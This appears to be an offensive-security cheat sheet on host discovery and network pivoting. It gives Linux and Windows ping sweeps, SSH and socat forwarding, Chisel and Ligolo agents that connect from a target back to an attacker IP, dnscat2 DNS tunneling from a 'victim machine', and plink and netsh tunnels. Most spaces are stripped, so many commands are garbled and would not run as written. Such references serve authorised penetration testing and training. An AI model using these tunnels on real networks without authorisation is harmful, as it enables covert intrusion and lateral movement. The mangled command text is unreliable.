# Linuxnmap-v-snx.x.x.1-253
nmap-snx.x.x.0/24
foriin$(seq1254);donc-zv-w1172.16.50.$i445;doneforipin192.168.1.{1..254};doping-c1-W1$ip&>/dev/null&&echo"$ip is up";donefping-a-g192.168.1.1192.168.1.2542>/dev/null
# Windows CMDfor/L%iin(1,1,254)do@ping-n1-w100192.168.1.%i|find"Reply"# Windows PowerShell1..254|%{"172.16.6.$($_): $(Test-Connection-Count1-ComputerName172.16.6.$($_)-Quiet)"}
Port Redirection
Socat
socatTCP-LISTEN:<local_port>,forkTCP:<ip>:<port>
Port Forwarding
SSH Local Port Forwarding
# forwards local machine port 8080 to a remote machine's port 80ssh-L8080:localhost:80user@ssh_server
SSH Remote Port Forwarding
# forwards a remote machine's port 80 to the local machine's port 9090ssh-R127.0.0.1:9090:<target>:80user@kali_machine
Chisel
# create server chiselserver--port8080--reverse
# create client on remote machinechiselclient<local_host>:8080R:<local_port>:localhost:<remote_port>
# create ligolo interfacesudoiptuntapadduser$(whoami)modetunligolo
sudoiplinksetligoloup
# start the proxy on attacker machine./li-proxy-selfcert-laddr0.0.0.0:443
# upload the agent to the target machine and start it./li-agent-connect<attacker_ip>:443-ignore-cert
agent.exe-connect<attacker_ip>:443-ignore-cert
# the connection will be displayed in the proxysession# choose the sessionifconfig# show subnets of the agent# add the subnet to the routing tablesudoiprouteadd<subnet>devligolo
# back in ligolo, start itstart
Chisel
# create server chiselserver--port8080--reverse--socks5
# create client on remote machinechiselclient<local_host>:8080R:socks
# add the port assigned by chisel to /etc/proxychains.conf# use proxychains to interact with the internal network sudoproxychains<command>
# create a client and add extra port forwarding (useful to access a web page from a browser)./chiselclient<local_host>:8080R:socksR:4545:localhost:80
SSH Dynamic Port Forwarding
# creates a dynamic tunnel between local host and targetssh-D9050user@10.4.213.215
# add port to /etc/proxychains4.confsocks5127.0.0.19050# use proxychains to interact with the internal network sudoproxychains<command>
DNS Tunneling
dnscat2-serverfeline.corp
# from the victim machinednscatfeline.corp
# from the serverwindows-i<id>
?forhelp
Sshuttle
# creates a VPN-like tunnel between networkssshuttle-rdatabase_admin@192.168.50.63:222210.4.50.0/24172.16.50.0/24
Windows Tools
ssh.exe
# creates a dynamic reverse tunnel between the current host and the attack hostssh-N-R9998kali@192.168.45.171
# configure proxychains in /etc/proxychains4.confsocks5127.0.0.19998# use proxychains to interact with sudoproxychains<command><ip>
Plink
# creates an SSH tunnel from a local port to a remote serviceC:\Windows\Temp\plink.exe-ssh-lkali-pw<YOURPASSWORDHERE>-R127.0.0.1:9833:127.0.0.1:3389192.168.118.4
Netsh
netshinterfaceportproxyaddv4tov4listenport=2222listenaddress=192.168.50.64connectport=22connectaddress=10.4.50.215
# show active interfacesnetshinterfaceportproxyshowall